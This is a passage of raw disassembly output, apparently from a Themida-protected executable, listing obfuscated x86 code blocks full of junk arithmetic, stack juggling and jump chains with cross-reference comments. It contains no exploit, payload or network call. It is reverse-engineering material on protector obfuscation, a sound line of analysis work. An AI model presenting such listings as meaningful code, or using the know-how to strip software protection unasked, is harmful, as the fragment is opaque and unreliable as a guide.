loc_55D4AA:				; CODE XREF: sub_559C84+265Dj
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+48h+var_4A+2]
		pop	esp
		jmp	loc_55E675
; ---------------------------------------------------------------------------
		push	[esp+44h+var_46+2]
		mov	eax, [esp+48h+var_4A+2]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 5CFA14E0h
		and	ecx, 6D0737B4h
		jmp	loc_55448F
; ---------------------------------------------------------------------------


loc_55D4D5:				; CODE XREF: Themida_:0055817Cj
		shl	esi, 6
		sub	esi, 1
		jmp	loc_558D71
; ---------------------------------------------------------------------------


loc_55D4E3:				; CODE XREF: sub_5558B3+5j
		push	eax
		mov	eax, 0B0E6C24Bh
		sub	ebp, 76FD7F09h
		add	ebp, eax
		jmp	loc_55A21A
; ---------------------------------------------------------------------------


loc_55D4F6:				; CODE XREF: sub_559C84-640Dj
		push	edx
		mov	edx, 7450121h
		mov	esi, edx
		pop	edx
		add	ebx, esi
		pop	esi
		jmp	loc_5576F4
; ---------------------------------------------------------------------------


loc_55D507:				; CODE XREF: Themida_:005549F8j
		push	ecx
		sub	esp, 4
		mov	[esp+38h+var_3A+2], ebx
		mov	bl, 0D7h
		add	bl, 7Ah
		push	cx
		mov	cl, 33h
		add	bl, cl
		jmp	loc_55F940
; ---------------------------------------------------------------------------


loc_55D521:				; CODE XREF: sub_559C84-A6Fj
		xor	ch, 39h
		sub	ch, 0DDh
		jmp	loc_555609
; ---------------------------------------------------------------------------


loc_55D52C:				; CODE XREF: sub_559C84+4F2j
		mov	edx, 51F317FAh
		or	edx, 523E028Eh
		add	edx, 36253E33h
		add	edx, 75DBA9D3h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		push	[esp+14h+var_10]
		mov	ebp, [esp+18h+var_18]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		pop	esp
		pop	[esp+18h+var_18]
		pop	esp
		xchg	ebp, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5593A7
; ---------------------------------------------------------------------------


loc_55D573:				; CODE XREF: sub_559C84-33E3j
		mov	esi, 76F46C62h
		mov	ebp, esi
		mov	esi, [esp-12h+arg_C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-0Eh+arg_8+2]
		pop	esp
		push	872h
		jmp	loc_5557C0
; ---------------------------------------------------------------------------


loc_55D59A:				; CODE XREF: sub_559C84-2D03j
		mov	eax, 4
		add	edx, 7E471D04h
		sub	edx, eax
		sub	edx, 7E471D04h
		jmp	loc_555F84
; ---------------------------------------------------------------------------


loc_55D5B2:				; CODE XREF: sub_559C84+5472j
		sub	eax, 60B74DF5h
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	eax
		jmp	loc_55E715
; ---------------------------------------------------------------------------


loc_55D5C6:				; CODE XREF: sub_559C84+3D54j
		add	eax, 232E5611h
		pop	edx
		jmp	loc_55A5C8
; ---------------------------------------------------------------------------


loc_55D5D1:				; CODE XREF: sub_559C84-2DAFj
		pop	esp
		mov	[esp+14h+var_14], esi
		push	6C94h
		mov	[esp+18h+var_18], esp
		jmp	loc_556B93
; ---------------------------------------------------------------------------


loc_55D5E2:				; CODE XREF: Themida_:0055E967j
		pop	ebx
		or	eax, 661D5922h
		jmp	loc_5545AD
; ---------------------------------------------------------------------------


loc_55D5ED:				; CODE XREF: sub_559C84+5F8Ej
		mov	ah, 0E2h
		add	bl, ah
		jmp	loc_559620
; ---------------------------------------------------------------------------


loc_55D5F6:				; CODE XREF: sub_559C84+2B58j
		not	ch
		xor	ch, 9Bh
		shr	ch, 6
		xor	ch, al
		xor	al, ch
		xor	ch, al
		jmp	loc_55F7E5
; ---------------------------------------------------------------------------


loc_55D609:				; CODE XREF: sub_559C84+60Cj
		mov	[esp+14h+var_14], edi
		push	esp
		jmp	loc_55FB7D
; ---------------------------------------------------------------------------


loc_55D612:				; CODE XREF: Themida_:005594EBj
		shr	ebx, 7
		jmp	sub_555C35
; ---------------------------------------------------------------------------


loc_55D61A:				; CODE XREF: sub_559C84-4814j
		add	esi, ecx
		add	esi, 6B736177h
		jmp	loc_55475B
; ---------------------------------------------------------------------------


loc_55D627:				; CODE XREF: sub_559C84+5882j
		or	dl, ch
		pop	ecx
		push	0DF9h
		jmp	loc_5538CF
; ---------------------------------------------------------------------------


loc_55D634:				; CODE XREF: Themida_:00554A82j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55D639:				; CODE XREF: sub_559C84+36F0j
		push	[esp+62h+var_64+2]
		push	dword ptr [esp+0]
		mov	edx, [esp+6Ah+var_6A]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_5572DE
; ---------------------------------------------------------------------------


loc_55D656:				; CODE XREF: sub_559C84-56B4j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+38h+var_3A+2]
		pop	esp
		push	461Ch
		mov	[esp+38h+var_3A+2], esi
		mov	esi, esp
		push	edx
		mov	edx, 643A4925h
		and	edx, 6F107CFFh
		not	edx
		jmp	loc_55846D
; ---------------------------------------------------------------------------


loc_55D683:				; CODE XREF: sub_559C84-3D9Ej
		push	ebx
		mov	ebx, 5C65623Ch
		add	[esp+56h+var_52], ebx
		pop	ebx
		jmp	loc_55ACA0
; ---------------------------------------------------------------------------


loc_55D693:				; CODE XREF: sub_559C84-3A35j
		add	esp, 4
		jmp	loc_557311
; ---------------------------------------------------------------------------


loc_55D69B:				; CODE XREF: sub_558204+Aj
		pop	ebx
		sub	[edi+24h], edx
		jmp	loc_5574F7
; ---------------------------------------------------------------------------


loc_55D6A4:				; CODE XREF: sub_559C84+4BADj
		mov	bl, 0D8h
		shr	bl, 1
		jmp	loc_55A394
; ---------------------------------------------------------------------------


loc_55D6AD:				; CODE XREF: sub_559C84+1089j
		mov	esp, [esp+38h+var_3A+2]
		test	cx, ax
		pushf
		jmp	loc_55585D
; ---------------------------------------------------------------------------


loc_55D6B9:				; CODE XREF: sub_559C84+26E0j
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55D6BF:				; CODE XREF: Themida_:0055FB0Fj
		add	ebp, edx
		sub	ebp, 3BB1784Bh
		pop	edx
		add	ebp, 4
		xor	ebp, [esp-0Ah+arg_4+2]
		jmp	loc_558169
; ---------------------------------------------------------------------------


loc_55D6D6:				; CODE XREF: Themida_:0055573Fj
		add	edi, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	esp, 4
		mov	[esp-6+arg_0+2], eax
		mov	eax, 3B010A8Fh
		add	edi, eax
		pop	eax
		add	edi, eax
		sub	edi, 3B010A8Fh
		jmp	loc_55B7EE
; ---------------------------------------------------------------------------
		push	[esp-0Ah+arg_4+2]
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_55EE33
; ---------------------------------------------------------------------------


loc_55D70B:				; CODE XREF: sub_559C84+5B65j
		add	ch, 1
		push	435Bh
		mov	[esp-6+arg_0+2], ebx
		push	eax
		mov	ah, 6Dh
		mov	bl, ah
		pop	eax
		push	ecx
		mov	ch, 0D0h
		add	bl, ch
		pop	ecx
		jmp	loc_5537F3
; ---------------------------------------------------------------------------


loc_55D727:				; CODE XREF: sub_559C84+3ED3j
		add	eax, ecx
		add	eax, 70AB6DC5h
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		sub	edi, 274C6E9Ah
		add	edi, eax
		jmp	loc_55655B
; ---------------------------------------------------------------------------


loc_55D741:				; CODE XREF: sub_559C84-B28j
		neg	esi
		jmp	loc_557E20
; ---------------------------------------------------------------------------


loc_55D748:				; CODE XREF: sub_559C84+564j
		push	edx
		push	ebx
		jmp	loc_55A8FA
; ---------------------------------------------------------------------------


loc_55D74F:				; CODE XREF: sub_559C84-5366j
		mov	dh, 5Fh
		jmp	loc_5558D4
; ---------------------------------------------------------------------------


loc_55D756:				; CODE XREF: sub_559C84+24B5j
		mov	eax, 3D71017Dh
		shr	eax, 7
		not	eax
		xor	eax, 1EB46DB4h
		xor	eax, 11B66401h
		shr	eax, 7
		push	ebp
		mov	ebp, 14555A83h
		jmp	loc_55F92C
; ---------------------------------------------------------------------------


loc_55D778:				; CODE XREF: sub_559C84+2A93j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-16h+arg_10+2]
		jmp	loc_554AA0
; ---------------------------------------------------------------------------


loc_55D792:				; CODE XREF: sub_559C84-291j
		add	ebp, 4
		xchg	ebp, [esp-10h+arg_C]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_553BF7
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-0Ch+arg_8]
		sub	esp, 4
		jmp	loc_556870
; ---------------------------------------------------------------------------


loc_55D7B7:				; CODE XREF: sub_559C84+4D50j
		mov	esi, esp
		jmp	sub_55590A
; ---------------------------------------------------------------------------


loc_55D7BE:				; CODE XREF: sub_559C84-215Fj
		inc	edi
		shr	edi, 1
		sub	edi, 0E7C40DDFh
		mov	ebp, edi
		pop	edi
		jmp	loc_55E006
; ---------------------------------------------------------------------------


loc_55D7CF:				; CODE XREF: sub_559C84+2215j
		sub	edx, 4
		xchg	edx, [esp+40h+var_42+2]
		pop	esp
		jmp	loc_553CA4
; ---------------------------------------------------------------------------


loc_55D7DE:				; CODE XREF: sub_559C84-819j
		sub	ebx, 0F4B12A1h
		pop	edx
		add	ebx, 2
		xchg	ebx, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		ror	[esp+48h+var_4A+2], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55D7F7:				; CODE XREF: sub_559C84+B4Fj
		xor	ch, 0E5h
		mov	al, ch
		pop	ecx
		mov	dh, al
		jmp	loc_55C957
; ---------------------------------------------------------------------------


loc_55D804:				; CODE XREF: sub_559C84+3E37j
		add	esi, 279C65DAh
		mov	ebx, [esp-22h+arg_1C+2]
		jmp	loc_55BD65
; ---------------------------------------------------------------------------


loc_55D812:				; CODE XREF: sub_559C84-4C27j
		add	esi, 8A4F15h
		pop	ebp
		add	esi, 2
		xchg	esi, [esp+42h+var_42]
		pop	esp
		push	ebx
		push	ecx
		mov	ch, dl
		jmp	loc_55CF4E
; ---------------------------------------------------------------------------


loc_55D82C:				; CODE XREF: Themida_:00558C2Ej
		mov	[esp+46h+var_46], ecx
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_55B571
; ---------------------------------------------------------------------------


loc_55D83B:				; CODE XREF: sub_559C84-2AA5j
		sub	ebx, 127C0436h
		pop	ebp
		jmp	loc_558D03
; ---------------------------------------------------------------------------


loc_55D847:				; CODE XREF: sub_559C84+2828j
		push	ebp
		not	dword ptr [esp+0]
		pop	ebp
		shr	ebp, 8
		neg	ebp
		push	esi
		mov	esi, 652D00A9h
		shr	esi, 1
		shl	esi, 8
		dec	esi
		jmp	loc_55EB35
; ---------------------------------------------------------------------------


loc_55D862:				; CODE XREF: sub_559C84+4CEEj
		shl	cl, 2
		and	cl, 30h
		shl	cl, 2
		push	eax
		mov	ah, 0D4h
		add	ah, 0A2h
		sub	cl, ah
		pop	eax
		add	bl, 17h
		sub	bl, cl
		sub	bl, 17h
		mov	ecx, [esp+0]
		jmp	loc_55F2E5
; ---------------------------------------------------------------------------


loc_55D884:				; CODE XREF: sub_559C84+4FCCj
		pop	esp
		add	esi, edi
		pop	edi
		push	esi
		push	[esp+32h+var_30+2]
		pop	esi
		pop	[esp+32h+var_34+2]
		pop	esp
		rol	[esp+2Ah+var_2C+2], cl
		pushf
		jmp	loc_55CF60
; ---------------------------------------------------------------------------


loc_55D89B:				; CODE XREF: sub_559C84-2699j
		inc	edi
		sub	edi, 9D33DABh
		push	edi
		push	edi
		mov	edi, 340F179Eh
		add	[esp+50h+var_4E+2], edi
		pop	edi
		push	[esp+4Ch+var_4E+2]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, 340F179Eh
		sub	eax, ebp
		pop	ebp
		pop	edi
		xor	eax, 678615A5h
		sub	esp, 4
		jmp	loc_555818
; ---------------------------------------------------------------------------


loc_55D8CF:				; DATA XREF: Themida_:00553474o
		lodsd
		xor	eax, ebx
		push	ecx
		sub	esp, 4
		mov	[esp+50h+var_52+2], edx
		push	58014318h
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		neg	edx
		push	eax
		mov	eax, 4FE06BD3h
		and	edx, eax
		pop	eax
		push	ebp
		jmp	loc_559C3F
; ---------------------------------------------------------------------------


loc_55D8FC:				; CODE XREF: sub_559C84-4C8j
		sub	edi, 101D87C9h
		sub	edx, edi
		mov	edi, [esp+4Ah+var_4A]
		add	esp, 4
		mov	ecx, edx
		pop	edx
		jmp	loc_558EA0
; ---------------------------------------------------------------------------


loc_55D912:				; CODE XREF: sub_55E342-6812j
		push	ecx
		mov	ecx, 35F1145Ch
		xor	ecx, 28945C75h
		jmp	loc_55F768
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+46h+var_46]
		push	1728h
		jmp	loc_55EADE
; ---------------------------------------------------------------------------


loc_55D931:				; CODE XREF: sub_559C84-47CDj
		mov	[esp+44h+var_46+2], edx
		mov	edx, 4F2E3DABh
		push	ebp
		jmp	loc_55C93C
; ---------------------------------------------------------------------------


loc_55D93F:				; CODE XREF: sub_559C84+3296j
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		push	1E2Bh
		mov	[esp+0], ecx
		mov	ecx, 5E817A03h
		push	ebp
		mov	ebp, 4B37ABDh
		or	ecx, ebp
		pop	ebp
		dec	ecx
		sub	ecx, 0FF80328Fh
		jmp	loc_55F35E
; ---------------------------------------------------------------------------


loc_55D96B:				; CODE XREF: Themida_:0055E4F1j
		mov	cl, 0EEh
		neg	cl
		sub	cl, 0E1h
		jmp	loc_55E82D
; ---------------------------------------------------------------------------


loc_55D977:				; CODE XREF: sub_559C84+6B3j
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp+4Ch+var_4E+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+50h+var_52+2]
		jmp	loc_55A348
; ---------------------------------------------------------------------------


loc_55D99D:				; CODE XREF: sub_559C84+20D1j
		mov	edi, [esp+62h+var_64+2]
		add	esp, 4
		mov	eax, [esp+5Eh+var_60+2]
		add	esp, 4
		sub	eax, 0DF10B35h
		push	ebx
		mov	ebx, 768309EAh
		add	ebx, 54A70E5Fh
		jmp	loc_557C5E
; ---------------------------------------------------------------------------


loc_55D9C5:				; DATA XREF: Themida_:00553288o
		push	[esp+5Eh+var_60+2]
		pop	edx
		jmp	loc_55A28B
; ---------------------------------------------------------------------------


loc_55D9CE:				; CODE XREF: sub_55F673+6j
		add	edx, ebp
		pop	ebp
		sub	eax, 232E5611h
		add	eax, edx
		jmp	loc_55D5C6
; ---------------------------------------------------------------------------


loc_55D9DD:				; CODE XREF: sub_55E48F+5j
		sub	esp, 4
		push	esp
		pop	[esp+62h+var_64+2]
		jmp	loc_55DBAB
; ---------------------------------------------------------------------------


loc_55D9EC:				; CODE XREF: sub_559C84-3077j
		xor	cl, 44h
		add	bl, cl
		pop	ecx
		push	small 4A81h
		mov	word ptr [esp+48h+var_4A+2], ax
		push	ecx
		mov	ch, 0AEh
		push	edx
		jmp	loc_55B56A
; ---------------------------------------------------------------------------


loc_55DA03:				; CODE XREF: sub_559C84-5FFCj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	1C2Ah
		mov	[esp+24h+var_24], edi
		mov	edi, esp
		push	esi
		mov	esi, 18740802h
		jmp	loc_55F218
; ---------------------------------------------------------------------------


loc_55DA1E:				; CODE XREF: Themida_:005545DFj
		add	esp, 2
		xor	word ptr [esp+24h+var_24], dx
		xor	dx, word ptr [esp+24h+var_24]
		jmp	loc_55AB10
; ---------------------------------------------------------------------------


loc_55DA2E:				; CODE XREF: sub_559C84+5EC5j
		pop	[esp+24h+var_24]
		pop	esp
		xor	al, dl
		pop	edx
		sub	bl, 0EEh
		jmp	loc_556AAB
; ---------------------------------------------------------------------------


loc_55DA3D:				; CODE XREF: sub_559C84-1E1Fj
		pop	esi
		add	ebx, 2A2655ABh
		jmp	loc_5548B6
; ---------------------------------------------------------------------------
		push	[esp-0Eh+arg_8+2]
		jmp	loc_5583CC
; ---------------------------------------------------------------------------


loc_55DA51:				; CODE XREF: sub_559C84-2EE2j
		push	[esp+40h+var_42+2]
		pop	eax
		jmp	loc_55AA82
; ---------------------------------------------------------------------------


loc_55DA5A:				; CODE XREF: sub_559C84-20BCj
		push	ecx
		mov	ch, 94h
		jmp	loc_558105
; ---------------------------------------------------------------------------


loc_55DA62:				; CODE XREF: sub_559C84-3946j
		mov	edx, esp
		push	ebp
		mov	ebp, 552F6EA1h
		jmp	loc_55B6C6
; ---------------------------------------------------------------------------


loc_55DA6F:				; CODE XREF: sub_559C84-3E95j
		push	13BEh
		mov	[esp+6Ah+var_6A], ebx
		push	edx
		mov	ebx, [esp+6Eh+var_70+2]
		add	esp, 4
		mov	edx, [esp+6Ah+var_6A]
		add	esp, 4
		push	ebx
		jmp	loc_55E162
; ---------------------------------------------------------------------------


loc_55DA90:				; CODE XREF: sub_559C84-447j
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55DA96:				; CODE XREF: sub_559C84+1725j
		add	edx, esi
		jmp	loc_557D79
; ---------------------------------------------------------------------------


loc_55DA9D:				; CODE XREF: sub_559C84+5F10j
		add	esi, 4
		jmp	loc_555B58
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_55A1ED
; ---------------------------------------------------------------------------


loc_55DAB0:				; CODE XREF: sub_559C84+9D7j
		sub	edx, 985359A4h
		sub	esi, edx
		pop	edx
		add	esi, ebx
		jmp	loc_55D804
; ---------------------------------------------------------------------------


loc_55DAC0:				; CODE XREF: Themida_:005541B3j
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], eax
		jmp	loc_558057
; ---------------------------------------------------------------------------


loc_55DACE:				; CODE XREF: sub_55FA73-B2E8j
		push	ecx
		mov	ecx, 389D4E0Bh
		mov	edi, 260C153Fh
		jmp	loc_5599C6
; ---------------------------------------------------------------------------


loc_55DADE:				; CODE XREF: sub_559C84-48FBj
		add	esi, 4
		jmp	loc_5540EB
; ---------------------------------------------------------------------------


loc_55DAE9:				; CODE XREF: sub_559C84-3754j
		xor	ecx, [esp+50h+var_52+2]
		xor	[esp+50h+var_52+2], ecx
		xor	ecx, [esp+50h+var_52+2]
		pop	esp
		push	5221h
		mov	[esp+50h+var_52+2], ebx
		push	2FEE7CB6h
		pop	ebx
		jmp	loc_557BEF
; ---------------------------------------------------------------------------


loc_55DB06:				; CODE XREF: sub_559C84-6273j
		pop	esp
		jmp	loc_55825D
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+4Ah+var_4A]
		push	2356h
		mov	[esp+4Eh+var_4E], eax
		mov	eax, esp
		push	esi
		push	edi
		mov	edi, 404C180Ah
		mov	esi, edi
		jmp	loc_55BC53
; ---------------------------------------------------------------------------


loc_55DB28:				; CODE XREF: sub_559C84+1C75j
		sub	ebp, esi
		jmp	loc_55832E
; ---------------------------------------------------------------------------


loc_55DB2F:				; CODE XREF: sub_559C84+27CBj
		push	6889h
		mov	[esp+0], edi
		push	esi
		push	39D449D3h
		jmp	loc_5556DF
sub_559C84	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DB42:				; CODE XREF: sub_559C84-504Fj
		mov	ebx, 4
		jmp	loc_557399
; ---------------------------------------------------------------------------


loc_55DB4C:				; CODE XREF: sub_559C84+2383j
		xor	ecx, 0A43739D1h
		sub	eax, 70AB6DC5h
		jmp	loc_55D727
; ---------------------------------------------------------------------------


loc_55DB5C:				; CODE XREF: sub_559C84+5F9j
		add	edx, 28656DD1h
		jmp	loc_5579B2
; ---------------------------------------------------------------------------


loc_55DB67:				; CODE XREF: sub_559C84+3821j
		sub	al, 1Ah
		jmp	loc_5584DA
; ---------------------------------------------------------------------------


loc_55DB6E:				; CODE XREF: sub_559C84-B1j
		push	ecx
		push	edi
		mov	edi, 51F12702h
		mov	ecx, 51F12703h
		sub	ecx, edi
		jmp	loc_55A9F0
; ---------------------------------------------------------------------------


loc_55DB81:				; CODE XREF: sub_559C84+5B7Bj
		shr	eax, 6
		sub	eax, 10FC4BBh
		mov	edi, eax
		pop	eax
		sub	edx, 31517578h
		add	edx, edi
		add	edx, 31517578h
		mov	edi, [esp+30h+var_30]
		add	esp, 4
		xchg	edx, [esp+2Ch+var_2C]
		jmp	loc_55545B
; ---------------------------------------------------------------------------


loc_55DBAB:				; CODE XREF: sub_559C84+3D63j
		add	[esp+5Eh+var_60+2], 4
		pop	ecx
		push	79CFh
		mov	[esp+5Eh+var_60+2], ebx
		sub	esp, 4
		mov	[esp+62h+var_64+2], ecx
		push	ebx
		mov	ebx, 64F1FB4h
		inc	ebx
		xor	ebx, 31AB3828h
		sub	ebx, 27E713BDh
		jmp	loc_55C371
; ---------------------------------------------------------------------------


loc_55DBD6:				; CODE XREF: sub_559C84-42FEj
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp-1Ch+arg_18]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-18h+arg_14]
		jmp	loc_557F85
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_55DBF3	proc near		; CODE XREF: sub_559C84-3895j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557A2F SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_557A2F
sub_55DBF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_55DBFB	proc near		; DATA XREF: Themida_:0055347Co

var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_55BAAE
sub_55DBFB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DC0A:				; CODE XREF: sub_559C84-3630j
		add	eax, 55DA3425h
		jmp	loc_554F9E
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55DC14	proc near		; CODE XREF: sub_559C84-747j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553F56 SIZE 00000025 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_553F56
sub_55DC14	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DC22:				; CODE XREF: sub_559C84-396Cj
		cmp	cx, ax
		pushf
		jmp	loc_554E7D
; ---------------------------------------------------------------------------


loc_55DC2B:				; CODE XREF: sub_559C84-1A3j
		not	edx
		push	ebp
		mov	ebp, 15A7A9Bh
		neg	ebp
		jmp	loc_55D217
; ---------------------------------------------------------------------------


loc_55DC3A:				; CODE XREF: sub_559C84+50AAj
		mov	[esp+48h+var_4A+2], ecx
		jmp	loc_558DE4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555D07


loc_55DC42:				; CODE XREF: sub_555D07+Dj
		mov	[esp+4+var_4], esi
		push	6704h
		mov	[esp+8+var_8], ebx
		mov	ebx, 3D653C54h
		mov	esi, 3D653C50h
		xor	esi, ebx
		jmp	loc_5586E7
; END OF FUNCTION CHUNK	FOR sub_555D07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DC5E:				; CODE XREF: sub_559C84+19A6j
		push	0FFFFFFFFh
		mov	ebx, [esp+0Eh+var_10+2]
		jmp	loc_555399
; ---------------------------------------------------------------------------


loc_55DC6B:				; CODE XREF: sub_559C84-4F60j
		pop	eax
		shr	bl, 1
		inc	bl
		jmp	loc_55CF99
; ---------------------------------------------------------------------------


loc_55DC75:				; CODE XREF: sub_559C84-1D2Aj
		pop	ebx
		push	esi
		push	[esp+40h+var_3E+2]
		pop	esi
		jmp	loc_553D3F
; ---------------------------------------------------------------------------


loc_55DC81:				; CODE XREF: sub_559C84+D4j
		mov	edi, 692C6D09h
		add	esi, 7AE4006h
		add	esi, edi
		sub	esi, 7AE4006h
		pop	edi
		sub	ebp, esi
		pop	esi
		jmp	loc_555599
; ---------------------------------------------------------------------------


loc_55DC9D:				; CODE XREF: sub_559C84+284Aj
		add	esp, 4
		push	edi
		jmp	loc_55BD03
; ---------------------------------------------------------------------------


loc_55DCA9:				; CODE XREF: sub_559C84+5DEAj
		not	ch
		sub	ch, 68h
		add	ch, 4Ah
		mov	dh, ch
		jmp	loc_55D49E
; ---------------------------------------------------------------------------


loc_55DCB8:				; CODE XREF: sub_559C84+1560j
		pop	ebp
		mov	[edi+20h], ebx
		mov	ebx, [esp+4Ch+var_4E+2]
		add	esp, 4
		add	[edi+20h], esi
		push	[esp+48h+var_4A+2]
		pop	esi
		push	edx
		push	esp
		jmp	loc_558FA9
; ---------------------------------------------------------------------------


loc_55DCD3:				; CODE XREF: sub_559C84+203Fj
		mov	esi, [esp+48h+var_4A+2]
		add	esp, 4
		jmp	loc_553C4A
; ---------------------------------------------------------------------------


loc_55DCE1:				; CODE XREF: sub_559C84-5357j
		mov	[esp+3Ch+var_3E+2], eax
		push	176D1ECDh
		pop	eax
		shr	eax, 7
		shr	eax, 2
		push	edx
		push	ebp
		mov	ebp, 6F1D7479h
		mov	edx, 612B46E2h
		xor	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 65410D78h
		sub	ebx, 583842F1h
		jmp	loc_55C3C8
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55DD10	proc near		; CODE XREF: sub_559C84+E3Dj

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 5B6D6C0Eh
		xor	edi, 5B6D6C0Ah
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_55B8CC
sub_55DD10	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DD31:				; CODE XREF: sub_559C84-45A4j
		push	esi
		neg	dword ptr [esp+0]
		pop	esi
		not	esi
		jmp	loc_55469C
; ---------------------------------------------------------------------------


loc_55DD3D:				; CODE XREF: sub_559C84+12DCj
		add	edi, esi
		jmp	loc_556127
; ---------------------------------------------------------------------------


loc_55DD44:				; CODE XREF: sub_559C84+A5Aj
		mov	[esp+4Ah+var_4A], edx
		jmp	loc_559B75
; ---------------------------------------------------------------------------


loc_55DD4C:				; CODE XREF: sub_559C84-51F4j
		add	esp, 4
		sub	al, 0A6h
		jmp	loc_5567B5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555BE3


loc_55DD59:				; CODE XREF: sub_555BE3+2675j
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		jmp	loc_55493F
; END OF FUNCTION CHUNK	FOR sub_555BE3
; ---------------------------------------------------------------------------


loc_55DD67:				; CODE XREF: Themida_:00556BEBj
		xor	ah, 88h
		push	ecx
		jmp	loc_554312
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DD70:				; CODE XREF: sub_559C84+2D8Bj
		push	esi
		mov	esi, esp
		jmp	loc_5541B8
; ---------------------------------------------------------------------------


loc_55DD78:				; CODE XREF: sub_559C84-6638j
		add	esp, 4
		inc	bl
		shl	bl, 3
		jmp	loc_55D0E4
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55DD85:				; CODE XREF: Themida_:00558E41j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_553E2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55DD91:				; CODE XREF: sub_559C84+2B0j
		add	esp, 4
		sub	al, bl
		push	dx
		mov	dh, 0F5h
		jmp	loc_5584FE
; ---------------------------------------------------------------------------


loc_55DDA2:				; CODE XREF: sub_559C84-C48j
		xor	edi, 1F867A3h
		jmp	loc_553AB4
; ---------------------------------------------------------------------------


loc_55DDAD:				; CODE XREF: sub_559C84-4465j
		pop	ecx
		push	[esp+2Ch+var_2C]
		jmp	loc_556101
; ---------------------------------------------------------------------------


loc_55DDB6:				; CODE XREF: sub_559C84-36FAj
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], eax
		push	[esp+4Ch+var_4A+2]
		pop	eax
		pop	[esp+4Ch+var_4E+2]
		pop	esp
		mov	[esp+44h+var_46+2], ecx
		push	2964h
		mov	[esp+48h+var_4A+2], edx
		mov	edx, 3B6E3FD6h
		push	edi
		push	edx
		mov	edx, 7D054005h
		mov	edi, edx
		jmp	loc_55EFF1
; ---------------------------------------------------------------------------


loc_55DDF6:				; CODE XREF: sub_559C84-37DBj
		add	ebx, 0D40085C3h
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55E3E8
; ---------------------------------------------------------------------------


loc_55DE0A:				; CODE XREF: sub_559C84-5E00j
		push	dword ptr [esp+0]
		jmp	loc_55B447
; ---------------------------------------------------------------------------


